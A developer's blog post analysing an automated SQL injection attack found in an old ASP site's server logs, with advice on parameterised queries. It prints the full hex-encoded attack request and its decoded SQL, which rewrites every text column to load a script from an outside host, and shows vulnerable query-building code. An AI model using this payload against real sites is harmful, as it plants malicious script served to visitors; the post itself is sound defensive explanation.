This is not the first time I’ve talked about SQL Injection here, but I’ve spent some time this week cleaning up an automated SQL Injection attack on a site I’ve inherited the maintenance on.
I got the call the other day saying “the site is looking funny, all the formatting is messed up”, one look at the page and a view source and I knew what was up. A database restore fixed the immediate problem, then it was a matter of looking at the server logs to find out the how and where so I could fix it.
The attack was pretty easy to find in the logs, a whole bunch of requests that looked like this :
GET /default.asp ti=1402&client=1;DECLARE%20@S%20VARCHAR(4000);
SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152
434841522832353529204445434C415245205461626C655F437572736F722043
5552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046
524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574
845524520612E69643D622E696420414E4420612E78747970653D2775272041
4E442028622E78747970653D3939204F5220622E78747970653D3335204F522
0622E78747970653D323331204F5220622E78747970653D31363729204F5045
4E205461626C655F437572736F72204645544348204E4558542046524F4D205
461626C655F437572736F7220494E544F2040542C4043205748494C45284040
46455443485F5354415455533D302920424547494E2045584543282755504441
5445205B272B40542B275D20534554205B272B40432B275D3D525452494D284
34F4E5645525428564152434841522834303030292C5B272B40432B275D2929
2B27273C736372697074207372633D687474703A2F2F7777772E756A6E632E
72752F6A732E6A733E3C2F7363726970743E27272729204645544348204E45
58542046524F4D205461626C655F437572736F7220494E544F2040542C4043
20454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43
415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));
EXEC(@S);--
Ugly!
What’s happening here is the long ugly bit is a chunk of SQL encoded as Varbinary. A SQL variable (@S) is being declared, then the varbinary value is being cast back to varchar into the variable, which is then EXECuted.
If you decode this value, you get this bit of SQL code :
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://evilwebsite.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://evilwebsite.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Ouch!
So this is finding all the large text columns by querying the system tables, and updating them to insert a script tag which can deliver any nasty payload the decide to put there.
The reason this attack is so effective is to most asp websites (this is an old site that was hit), the most checking of querystring values is the old standard of replacing the apostrophes. As you see from the GET request, there are no apostrophes. So a typical piece of asp code might look like this :
Dim sql
sql = "SELECT id, title, body FROM articles WHERE id = " & Replace(Request.QueryString("id"), "'", "''")
set rs = conn.exec(sql)
The act of escaping the apostrophes is pretty good against pretty much every SQL Injection attack we’ve seen in the wild, but as you can see, totally useless against a binary encoded query that is being dynamically executed.
Thankfully the safeguards are easy and well documented.
- Strongly typed variables
- Parameterised queries and / or stored procs
If you’re in charge of an older site that doesn’t do these things, go check it now and make sure you’re databases are backed up. Because there are bots out there scanning, and you will get hit by this.
On security disclosure
Several years ago, while writing some articles on SQL Injection and preparing some training materials to present to some co workers I did a lot of experimenting and uncovered this style of attack. It is being used here to insert nasty script into content, but if you are running your website under a high privilege account (i.e. SA) you can do some real damage. It’s possible to fire off an xp_cmdshell command with this technique which lets you take full control of a server, all via a web site URL. I sent it round to a few trusted friends saying “what should I do about this ?” I’ve never been part of a security research scene and I had a dilemma. Publish this and educate a whole bunch of people on how to do it, or keep quiet about it and hope it didn’t get figured out by anyone else that wanted to use it maliciously.
In the end I kept quiet about it, so the irony that it came back to bite me isn’t lost.
What would you have done ?